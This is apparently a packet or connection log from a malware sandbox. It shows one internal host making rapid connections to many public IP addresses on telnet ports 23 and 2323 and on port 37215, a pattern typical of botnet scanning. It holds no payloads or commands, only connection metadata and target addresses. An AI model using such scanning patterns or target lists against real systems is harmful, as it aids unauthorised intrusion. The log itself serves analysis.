Nov 3, 2024 15:37:08.470489025 CET	51738	37215	192.168.2.14	41.56.133.109
Nov 3, 2024 15:37:08.470520973 CET	60092	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:08.470520973 CET	60092	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:08.470534086 CET	60604	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:08.470558882 CET	35264	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:08.470558882 CET	35264	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:08.470566034 CET	35776	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:08.470581055 CET	45328	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:08.470581055 CET	45328	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:08.470592976 CET	45840	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:08.470592976 CET	44194	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:08.470601082 CET	44194	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:08.470612049 CET	44706	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:08.470622063 CET	57424	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:08.470622063 CET	57424	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:08.470635891 CET	57936	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:08.470635891 CET	60850	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:08.470649004 CET	60850	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:08.470654964 CET	33130	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:08.470659018 CET	36388	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:08.470674992 CET	36388	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:08.470686913 CET	36900	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:08.470704079 CET	56838	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:08.470704079 CET	56838	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:08.470712900 CET	57350	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:08.470875978 CET	37215	47400	41.253.117.242	192.168.2.14
Nov 3, 2024 15:37:08.470921040 CET	47400	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:08.470973969 CET	47400	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:08.470973969 CET	47400	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:08.470973969 CET	47718	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:08.471076012 CET	23	47676	181.52.98.68	192.168.2.14
Nov 3, 2024 15:37:08.471085072 CET	23	44362	160.89.255.184	192.168.2.14
Nov 3, 2024 15:37:08.471142054 CET	44362	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:08.471143961 CET	45144	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:08.471152067 CET	47676	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:08.471163034 CET	48452	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:08.471380949 CET	23	56202	205.217.233.80	192.168.2.14
Nov 3, 2024 15:37:08.471417904 CET	23	33990	158.34.240.117	192.168.2.14
Nov 3, 2024 15:37:08.471426964 CET	23	34030	179.64.170.171	192.168.2.14
Nov 3, 2024 15:37:08.471427917 CET	56202	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:08.471436024 CET	56978	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:08.471436977 CET	23	43712	107.119.15.67	192.168.2.14
Nov 3, 2024 15:37:08.471460104 CET	33990	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:08.471470118 CET	34760	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:08.471482992 CET	43712	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:08.471488953 CET	44506	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:08.471498966 CET	34030	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:08.471519947 CET	34810	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:08.471950054 CET	23	38058	5.71.100.114	192.168.2.14
Nov 3, 2024 15:37:08.471960068 CET	2323	36420	1.12.84.67	192.168.2.14
Nov 3, 2024 15:37:08.471970081 CET	23	58472	14.65.113.88	192.168.2.14
Nov 3, 2024 15:37:08.471980095 CET	23	43344	142.128.214.133	192.168.2.14
Nov 3, 2024 15:37:08.471987963 CET	23	33962	211.143.98.145	192.168.2.14
Nov 3, 2024 15:37:08.471997023 CET	38058	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:08.471997976 CET	23	43916	159.37.133.208	192.168.2.14
Nov 3, 2024 15:37:08.472007036 CET	23	47090	114.132.2.196	192.168.2.14
Nov 3, 2024 15:37:08.472011089 CET	38820	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:08.472018003 CET	23	53374	18.29.13.143	192.168.2.14
Nov 3, 2024 15:37:08.472024918 CET	36420	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:08.472043037 CET	37218	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:08.472043037 CET	43344	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:08.472055912 CET	58472	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:08.472057104 CET	44140	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:08.472074986 CET	59242	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:08.472084045 CET	33962	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:08.472094059 CET	34750	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:08.472100973 CET	43916	23	192.168.2.14	159.37.133.208
Nov 3, 2024 15:37:08.472120047 CET	47090	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:08.472121954 CET	44700	23	192.168.2.14	159.37.133.208
Nov 3, 2024 15:37:08.472124100 CET	47862	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:08.472132921 CET	53374	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:08.472141027 CET	54146	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:08.472598076 CET	23	35830	167.176.177.179	192.168.2.14
Nov 3, 2024 15:37:08.472608089 CET	23	52566	126.33.229.198	192.168.2.14
Nov 3, 2024 15:37:08.472615004 CET	23	56184	158.253.61.118	192.168.2.14
Nov 3, 2024 15:37:08.472624063 CET	23	49708	73.99.18.24	192.168.2.14
Nov 3, 2024 15:37:08.472660065 CET	52566	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:08.472662926 CET	53350	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:08.472672939 CET	36614	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:08.472675085 CET	35830	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:08.472685099 CET	56184	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:08.472692013 CET	56960	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:08.472716093 CET	49708	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:08.472732067 CET	50518	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:08.472835064 CET	23	51770	108.3.230.119	192.168.2.14
Nov 3, 2024 15:37:08.472886086 CET	23	60898	69.81.122.152	192.168.2.14
Nov 3, 2024 15:37:08.472893000 CET	51770	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:08.472893000 CET	52566	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:08.472894907 CET	2323	43406	2.242.225.206	192.168.2.14
Nov 3, 2024 15:37:08.472938061 CET	60898	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:08.472939014 CET	23	50520	154.32.50.30	192.168.2.14
Nov 3, 2024 15:37:08.472942114 CET	33462	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:08.472949982 CET	23	35286	211.194.75.181	192.168.2.14
Nov 3, 2024 15:37:08.472955942 CET	43406	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:08.472958088 CET	23	58388	71.134.193.73	192.168.2.14
Nov 3, 2024 15:37:08.472963095 CET	44186	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:08.472974062 CET	50520	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:08.472990990 CET	51304	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:08.473011017 CET	35286	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:08.473025084 CET	59170	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:08.473025084 CET	58388	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:08.473026991 CET	36068	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:08.473181009 CET	23	59944	47.253.35.131	192.168.2.14
Nov 3, 2024 15:37:08.473191023 CET	23	39788	187.103.207.15	192.168.2.14
Nov 3, 2024 15:37:08.473231077 CET	59944	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:08.473232985 CET	60726	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:08.473242044 CET	39788	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:08.473265886 CET	40568	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:08.473388910 CET	23	52460	27.253.80.216	192.168.2.14
Nov 3, 2024 15:37:08.473398924 CET	23	51294	158.59.156.239	192.168.2.14
Nov 3, 2024 15:37:08.473438978 CET	52460	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:08.473440886 CET	53244	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:08.473459959 CET	51294	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:08.473467112 CET	52076	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:08.473606110 CET	23	58480	92.244.50.65	192.168.2.14
Nov 3, 2024 15:37:08.473614931 CET	23	58542	19.21.233.59	192.168.2.14
Nov 3, 2024 15:37:08.473623991 CET	2323	38308	124.199.53.187	192.168.2.14
Nov 3, 2024 15:37:08.473665953 CET	58480	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:08.473680019 CET	59262	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:08.473680019 CET	58542	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:08.473699093 CET	59324	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:08.473716021 CET	38308	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:08.473730087 CET	39090	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:08.473798990 CET	23	60652	147.167.150.68	192.168.2.14
Nov 3, 2024 15:37:08.473809004 CET	23	39298	95.7.248.48	192.168.2.14
Nov 3, 2024 15:37:08.473817110 CET	23	35996	220.175.15.213	192.168.2.14
Nov 3, 2024 15:37:08.473828077 CET	23	42574	223.189.226.43	192.168.2.14
Nov 3, 2024 15:37:08.473850965 CET	60652	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:08.473865032 CET	33202	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:08.473866940 CET	39298	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:08.473872900 CET	40080	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:08.473895073 CET	35996	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:08.473908901 CET	36778	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:08.473908901 CET	42574	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:08.473922968 CET	43356	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:08.474082947 CET	23	37068	188.106.7.94	192.168.2.14
Nov 3, 2024 15:37:08.474100113 CET	23	46336	57.65.200.63	192.168.2.14
Nov 3, 2024 15:37:08.474132061 CET	37068	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:08.474133015 CET	23	56628	110.104.107.135	192.168.2.14
Nov 3, 2024 15:37:08.474137068 CET	37850	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:08.474143982 CET	23	49702	195.40.216.94	192.168.2.14
Nov 3, 2024 15:37:08.474164009 CET	46336	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:08.474181890 CET	47118	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:08.474189043 CET	23	38828	217.133.166.36	192.168.2.14
Nov 3, 2024 15:37:08.474195957 CET	49702	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:08.474198103 CET	2323	55786	42.44.11.242	192.168.2.14
Nov 3, 2024 15:37:08.474200010 CET	50484	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:08.474206924 CET	23	48132	62.98.53.29	192.168.2.14
Nov 3, 2024 15:37:08.474212885 CET	56628	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:08.474215984 CET	57410	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:08.474236965 CET	38828	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:08.474245071 CET	39610	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:08.474251032 CET	55786	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:08.474260092 CET	56568	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:08.474284887 CET	48132	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:08.474292040 CET	48914	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:08.474626064 CET	23	58122	193.225.59.23	192.168.2.14
Nov 3, 2024 15:37:08.474634886 CET	23	48144	144.24.164.98	192.168.2.14
Nov 3, 2024 15:37:08.474643946 CET	23	41614	4.246.132.96	192.168.2.14
Nov 3, 2024 15:37:08.474653006 CET	23	43494	35.107.7.74	192.168.2.14
Nov 3, 2024 15:37:08.474669933 CET	23	51048	48.53.153.29	192.168.2.14
Nov 3, 2024 15:37:08.474678993 CET	23	52814	186.158.159.146	192.168.2.14
Nov 3, 2024 15:37:08.474687099 CET	2323	41818	173.123.4.216	192.168.2.14
Nov 3, 2024 15:37:08.474692106 CET	58122	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:08.474697113 CET	23	60508	37.47.89.15	192.168.2.14
Nov 3, 2024 15:37:08.474704981 CET	58904	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:08.474710941 CET	41614	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:08.474725962 CET	42394	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:08.474728107 CET	48144	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:08.474742889 CET	43494	23	192.168.2.14	35.107.7.74
Nov 3, 2024 15:37:08.474744081 CET	48924	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:08.474761009 CET	44274	23	192.168.2.14	35.107.7.74
Nov 3, 2024 15:37:08.474781036 CET	51048	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:08.474797964 CET	51836	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:08.474797964 CET	52814	23	192.168.2.14	186.158.159.146
Nov 3, 2024 15:37:08.474798918 CET	53596	23	192.168.2.14	186.158.159.146
Nov 3, 2024 15:37:08.474807978 CET	42600	2323	192.168.2.14	173.123.4.216
Nov 3, 2024 15:37:08.474808931 CET	41818	2323	192.168.2.14	173.123.4.216
Nov 3, 2024 15:37:08.474817991 CET	60508	23	192.168.2.14	37.47.89.15
Nov 3, 2024 15:37:08.474829912 CET	33056	23	192.168.2.14	37.47.89.15
Nov 3, 2024 15:37:08.474873066 CET	23	59760	104.70.203.187	192.168.2.14
Nov 3, 2024 15:37:08.474880934 CET	23	52838	158.98.248.155	192.168.2.14
Nov 3, 2024 15:37:08.474932909 CET	59760	23	192.168.2.14	104.70.203.187
Nov 3, 2024 15:37:08.474936962 CET	52838	23	192.168.2.14	158.98.248.155
Nov 3, 2024 15:37:08.474936962 CET	60544	23	192.168.2.14	104.70.203.187
Nov 3, 2024 15:37:08.474951982 CET	53620	23	192.168.2.14	158.98.248.155
Nov 3, 2024 15:37:08.475035906 CET	23	57016	156.65.37.226	192.168.2.14
Nov 3, 2024 15:37:08.475086927 CET	57016	23	192.168.2.14	156.65.37.226
Nov 3, 2024 15:37:08.475089073 CET	57798	23	192.168.2.14	156.65.37.226
Nov 3, 2024 15:37:08.475133896 CET	23	48934	125.253.59.164	192.168.2.14
Nov 3, 2024 15:37:08.475142956 CET	23	34126	101.46.247.29	192.168.2.14
Nov 3, 2024 15:37:08.475152016 CET	23	60060	77.107.154.14	192.168.2.14
Nov 3, 2024 15:37:08.475161076 CET	23	52926	89.178.158.237	192.168.2.14
Nov 3, 2024 15:37:08.475192070 CET	34126	23	192.168.2.14	101.46.247.29
Nov 3, 2024 15:37:08.475209951 CET	48934	23	192.168.2.14	125.253.59.164
Nov 3, 2024 15:37:08.475209951 CET	34908	23	192.168.2.14	101.46.247.29
Nov 3, 2024 15:37:08.475227118 CET	60060	23	192.168.2.14	77.107.154.14
Nov 3, 2024 15:37:08.475228071 CET	49716	23	192.168.2.14	125.253.59.164
Nov 3, 2024 15:37:08.475244999 CET	60842	23	192.168.2.14	77.107.154.14
Nov 3, 2024 15:37:08.475259066 CET	52926	23	192.168.2.14	89.178.158.237
Nov 3, 2024 15:37:08.475265980 CET	53708	23	192.168.2.14	89.178.158.237
Nov 3, 2024 15:37:08.475583076 CET	23	39390	167.166.144.245	192.168.2.14
Nov 3, 2024 15:37:08.475593090 CET	2323	52668	98.140.174.214	192.168.2.14
Nov 3, 2024 15:37:08.475600958 CET	23	40386	194.211.140.76	192.168.2.14
Nov 3, 2024 15:37:08.475613117 CET	23	49436	34.92.143.149	192.168.2.14
Nov 3, 2024 15:37:08.475631952 CET	39390	23	192.168.2.14	167.166.144.245
Nov 3, 2024 15:37:08.475642920 CET	40172	23	192.168.2.14	167.166.144.245
Nov 3, 2024 15:37:08.475661993 CET	52668	2323	192.168.2.14	98.140.174.214
Nov 3, 2024 15:37:08.475673914 CET	53450	2323	192.168.2.14	98.140.174.214
Nov 3, 2024 15:37:08.475673914 CET	40386	23	192.168.2.14	194.211.140.76
Nov 3, 2024 15:37:08.475696087 CET	41168	23	192.168.2.14	194.211.140.76
Nov 3, 2024 15:37:08.475696087 CET	50218	23	192.168.2.14	34.92.143.149
Nov 3, 2024 15:37:08.475696087 CET	49436	23	192.168.2.14	34.92.143.149
Nov 3, 2024 15:37:08.475856066 CET	23	52286	220.201.163.92	192.168.2.14
Nov 3, 2024 15:37:08.475864887 CET	23	46250	193.35.112.167	192.168.2.14
Nov 3, 2024 15:37:08.475909948 CET	52286	23	192.168.2.14	220.201.163.92
Nov 3, 2024 15:37:08.475915909 CET	53068	23	192.168.2.14	220.201.163.92
Nov 3, 2024 15:37:08.475945950 CET	47030	23	192.168.2.14	193.35.112.167
Nov 3, 2024 15:37:08.475945950 CET	46250	23	192.168.2.14	193.35.112.167
Nov 3, 2024 15:37:08.476037025 CET	23	47578	34.114.183.65	192.168.2.14
Nov 3, 2024 15:37:08.476046085 CET	23	54492	149.96.22.119	192.168.2.14
Nov 3, 2024 15:37:08.476056099 CET	37215	42148	156.7.194.104	192.168.2.14
Nov 3, 2024 15:37:08.476063967 CET	37215	60092	197.127.15.67	192.168.2.14
Nov 3, 2024 15:37:08.476073027 CET	23	39424	48.166.71.75	192.168.2.14
Nov 3, 2024 15:37:08.476080894 CET	42148	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.476083994 CET	37215	35264	156.201.202.122	192.168.2.14
Nov 3, 2024 15:37:08.476104021 CET	48362	23	192.168.2.14	34.114.183.65
Nov 3, 2024 15:37:08.476104975 CET	37215	45328	197.4.84.67	192.168.2.14
Nov 3, 2024 15:37:08.476109028 CET	47578	23	192.168.2.14	34.114.183.65
Nov 3, 2024 15:37:08.476114988 CET	23	58724	213.78.197.207	192.168.2.14
Nov 3, 2024 15:37:08.476140976 CET	39424	23	192.168.2.14	48.166.71.75
Nov 3, 2024 15:37:08.476144075 CET	40206	23	192.168.2.14	48.166.71.75
Nov 3, 2024 15:37:08.476146936 CET	54492	23	192.168.2.14	149.96.22.119
Nov 3, 2024 15:37:08.476155996 CET	55274	23	192.168.2.14	149.96.22.119
Nov 3, 2024 15:37:08.476166010 CET	37215	44194	41.118.32.70	192.168.2.14
Nov 3, 2024 15:37:08.476178885 CET	23	43164	177.104.152.31	192.168.2.14
Nov 3, 2024 15:37:08.476180077 CET	58724	23	192.168.2.14	213.78.197.207
Nov 3, 2024 15:37:08.476186991 CET	59506	23	192.168.2.14	213.78.197.207
Nov 3, 2024 15:37:08.476187944 CET	37215	57424	197.43.82.24	192.168.2.14
Nov 3, 2024 15:37:08.476238012 CET	43164	23	192.168.2.14	177.104.152.31
Nov 3, 2024 15:37:08.476238966 CET	43946	23	192.168.2.14	177.104.152.31
Nov 3, 2024 15:37:08.476262093 CET	23	39476	204.30.145.134	192.168.2.14
Nov 3, 2024 15:37:08.476270914 CET	37215	60850	197.152.148.149	192.168.2.14
Nov 3, 2024 15:37:08.476281881 CET	37215	36388	197.74.243.23	192.168.2.14
Nov 3, 2024 15:37:08.476291895 CET	37215	56838	156.178.245.151	192.168.2.14
Nov 3, 2024 15:37:08.476309061 CET	39476	23	192.168.2.14	204.30.145.134
Nov 3, 2024 15:37:08.476325989 CET	40258	23	192.168.2.14	204.30.145.134
Nov 3, 2024 15:37:08.476376057 CET	42148	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.476376057 CET	42148	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.476392984 CET	42408	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:08.476409912 CET	37215	47400	41.253.117.242	192.168.2.14
Nov 3, 2024 15:37:08.476418972 CET	23	53570	97.181.70.209	192.168.2.14
Nov 3, 2024 15:37:08.476423025 CET	23	44362	160.89.255.184	192.168.2.14
Nov 3, 2024 15:37:08.476430893 CET	23	47676	181.52.98.68	192.168.2.14
Nov 3, 2024 15:37:08.476439953 CET	23	56202	205.217.233.80	192.168.2.14
Nov 3, 2024 15:37:08.476455927 CET	23	33990	158.34.240.117	192.168.2.14
Nov 3, 2024 15:37:08.476459026 CET	53570	23	192.168.2.14	97.181.70.209
Nov 3, 2024 15:37:08.476464987 CET	23	43712	107.119.15.67	192.168.2.14
Nov 3, 2024 15:37:08.476474047 CET	23	34030	179.64.170.171	192.168.2.14
Nov 3, 2024 15:37:08.476478100 CET	54354	23	192.168.2.14	97.181.70.209
Nov 3, 2024 15:37:08.476481915 CET	2323	52596	176.239.168.154	192.168.2.14
Nov 3, 2024 15:37:08.476528883 CET	52596	2323	192.168.2.14	176.239.168.154
Nov 3, 2024 15:37:08.476543903 CET	53380	2323	192.168.2.14	176.239.168.154
Nov 3, 2024 15:37:08.476552963 CET	23	60634	102.73.14.35	192.168.2.14
Nov 3, 2024 15:37:08.476604939 CET	60634	23	192.168.2.14	102.73.14.35
Nov 3, 2024 15:37:08.476607084 CET	33182	23	192.168.2.14	102.73.14.35
Nov 3, 2024 15:37:08.476634979 CET	23	45870	93.77.214.197	192.168.2.14
Nov 3, 2024 15:37:08.476685047 CET	45870	23	192.168.2.14	93.77.214.197
Nov 3, 2024 15:37:08.476696014 CET	46656	23	192.168.2.14	93.77.214.197
Nov 3, 2024 15:37:08.476735115 CET	23	57452	217.172.159.38	192.168.2.14
Nov 3, 2024 15:37:08.476782084 CET	57452	23	192.168.2.14	217.172.159.38
Nov 3, 2024 15:37:08.476787090 CET	58238	23	192.168.2.14	217.172.159.38
Nov 3, 2024 15:37:08.476800919 CET	23	38058	5.71.100.114	192.168.2.14
Nov 3, 2024 15:37:08.476810932 CET	23	57636	190.15.21.214	192.168.2.14
Nov 3, 2024 15:37:08.476819038 CET	2323	36420	1.12.84.67	192.168.2.14
Nov 3, 2024 15:37:08.476849079 CET	57636	23	192.168.2.14	190.15.21.214
Nov 3, 2024 15:37:08.476857901 CET	58420	23	192.168.2.14	190.15.21.214
Nov 3, 2024 15:37:08.476877928 CET	2323	33312	123.238.12.9	192.168.2.14
Nov 3, 2024 15:37:08.476927996 CET	33312	2323	192.168.2.14	123.238.12.9
Nov 3, 2024 15:37:08.476934910 CET	34096	2323	192.168.2.14	123.238.12.9
Nov 3, 2024 15:37:08.476957083 CET	23	43344	142.128.214.133	192.168.2.14
Nov 3, 2024 15:37:08.476968050 CET	23	58472	14.65.113.88	192.168.2.14
Nov 3, 2024 15:37:08.476974964 CET	23	33962	211.143.98.145	192.168.2.14
Nov 3, 2024 15:37:08.476984978 CET	23	55474	19.66.87.102	192.168.2.14
Nov 3, 2024 15:37:08.476994038 CET	23	43916	159.37.133.208	192.168.2.14
Nov 3, 2024 15:37:08.477001905 CET	23	47090	114.132.2.196	192.168.2.14
Nov 3, 2024 15:37:08.477010012 CET	23	53374	18.29.13.143	192.168.2.14
Nov 3, 2024 15:37:08.477018118 CET	23	60064	46.111.118.134	192.168.2.14
Nov 3, 2024 15:37:08.477026939 CET	23	56672	111.32.97.128	192.168.2.14
Nov 3, 2024 15:37:08.477049112 CET	56258	23	192.168.2.14	19.66.87.102
Nov 3, 2024 15:37:08.477050066 CET	55474	23	192.168.2.14	19.66.87.102
Nov 3, 2024 15:37:08.477076054 CET	60064	23	192.168.2.14	46.111.118.134
Nov 3, 2024 15:37:08.477086067 CET	60848	23	192.168.2.14	46.111.118.134
Nov 3, 2024 15:37:08.477089882 CET	56672	23	192.168.2.14	111.32.97.128
Nov 3, 2024 15:37:08.477103949 CET	57456	23	192.168.2.14	111.32.97.128
Nov 3, 2024 15:37:08.477123022 CET	23	40920	72.148.227.215	192.168.2.14
Nov 3, 2024 15:37:08.477171898 CET	40920	23	192.168.2.14	72.148.227.215
Nov 3, 2024 15:37:08.477173090 CET	41704	23	192.168.2.14	72.148.227.215
Nov 3, 2024 15:37:08.477174997 CET	23	55784	113.146.176.7	192.168.2.14
Nov 3, 2024 15:37:08.477233887 CET	56568	23	192.168.2.14	113.146.176.7
Nov 3, 2024 15:37:08.477233887 CET	55784	23	192.168.2.14	113.146.176.7
Nov 3, 2024 15:37:08.477251053 CET	23	48682	117.187.252.252	192.168.2.14
Nov 3, 2024 15:37:08.477298975 CET	48682	23	192.168.2.14	117.187.252.252
Nov 3, 2024 15:37:08.477300882 CET	49458	23	192.168.2.14	117.187.252.252
Nov 3, 2024 15:37:08.477310896 CET	23	39272	198.149.119.126	192.168.2.14
Nov 3, 2024 15:37:08.477368116 CET	39272	23	192.168.2.14	198.149.119.126
Nov 3, 2024 15:37:08.477380037 CET	40052	23	192.168.2.14	198.149.119.126
Nov 3, 2024 15:37:08.477454901 CET	23	55804	113.166.236.48	192.168.2.14
Nov 3, 2024 15:37:08.477463961 CET	23	52566	126.33.229.198	192.168.2.14
Nov 3, 2024 15:37:08.477472067 CET	23	35830	167.176.177.179	192.168.2.14
Nov 3, 2024 15:37:08.477500916 CET	55804	23	192.168.2.14	113.166.236.48
Nov 3, 2024 15:37:08.477508068 CET	23	58084	53.179.182.227	192.168.2.14
Nov 3, 2024 15:37:08.477514029 CET	56592	23	192.168.2.14	113.166.236.48
Nov 3, 2024 15:37:08.477518082 CET	23	56184	158.253.61.118	192.168.2.14
Nov 3, 2024 15:37:08.477529049 CET	23	59648	40.202.230.225	192.168.2.14
Nov 3, 2024 15:37:08.477538109 CET	23	49708	73.99.18.24	192.168.2.14
Nov 3, 2024 15:37:08.477546930 CET	23	47268	189.9.147.99	192.168.2.14
Nov 3, 2024 15:37:08.477575064 CET	58084	23	192.168.2.14	53.179.182.227
Nov 3, 2024 15:37:08.477576017 CET	58872	23	192.168.2.14	53.179.182.227
Nov 3, 2024 15:37:08.477586031 CET	59648	23	192.168.2.14	40.202.230.225
Nov 3, 2024 15:37:08.477590084 CET	60436	23	192.168.2.14	40.202.230.225
Nov 3, 2024 15:37:08.477607965 CET	23	51770	108.3.230.119	192.168.2.14
Nov 3, 2024 15:37:08.477616072 CET	2323	53134	211.187.163.172	192.168.2.14
Nov 3, 2024 15:37:08.477622032 CET	47268	23	192.168.2.14	189.9.147.99
Nov 3, 2024 15:37:08.477626085 CET	48052	23	192.168.2.14	189.9.147.99
Nov 3, 2024 15:37:08.477663994 CET	53134	2323	192.168.2.14	211.187.163.172
Nov 3, 2024 15:37:08.477670908 CET	53916	2323	192.168.2.14	211.187.163.172
Nov 3, 2024 15:37:08.477767944 CET	23	60482	53.6.227.181	192.168.2.14
Nov 3, 2024 15:37:08.477778912 CET	23	60898	69.81.122.152	192.168.2.14
Nov 3, 2024 15:37:08.477782965 CET	2323	43406	2.242.225.206	192.168.2.14
Nov 3, 2024 15:37:08.477787018 CET	23	50520	154.32.50.30	192.168.2.14
Nov 3, 2024 15:37:08.477796078 CET	23	35286	211.194.75.181	192.168.2.14
Nov 3, 2024 15:37:08.477807045 CET	23	38638	216.154.32.150	192.168.2.14
Nov 3, 2024 15:37:08.477814913 CET	23	58388	71.134.193.73	192.168.2.14
Nov 3, 2024 15:37:08.477824926 CET	60482	23	192.168.2.14	53.6.227.181
Nov 3, 2024 15:37:08.477835894 CET	33036	23	192.168.2.14	53.6.227.181
Nov 3, 2024 15:37:08.477859974 CET	38638	23	192.168.2.14	216.154.32.150
Nov 3, 2024 15:37:08.477869034 CET	39422	23	192.168.2.14	216.154.32.150
Nov 3, 2024 15:37:08.477994919 CET	23	40228	83.75.122.68	192.168.2.14
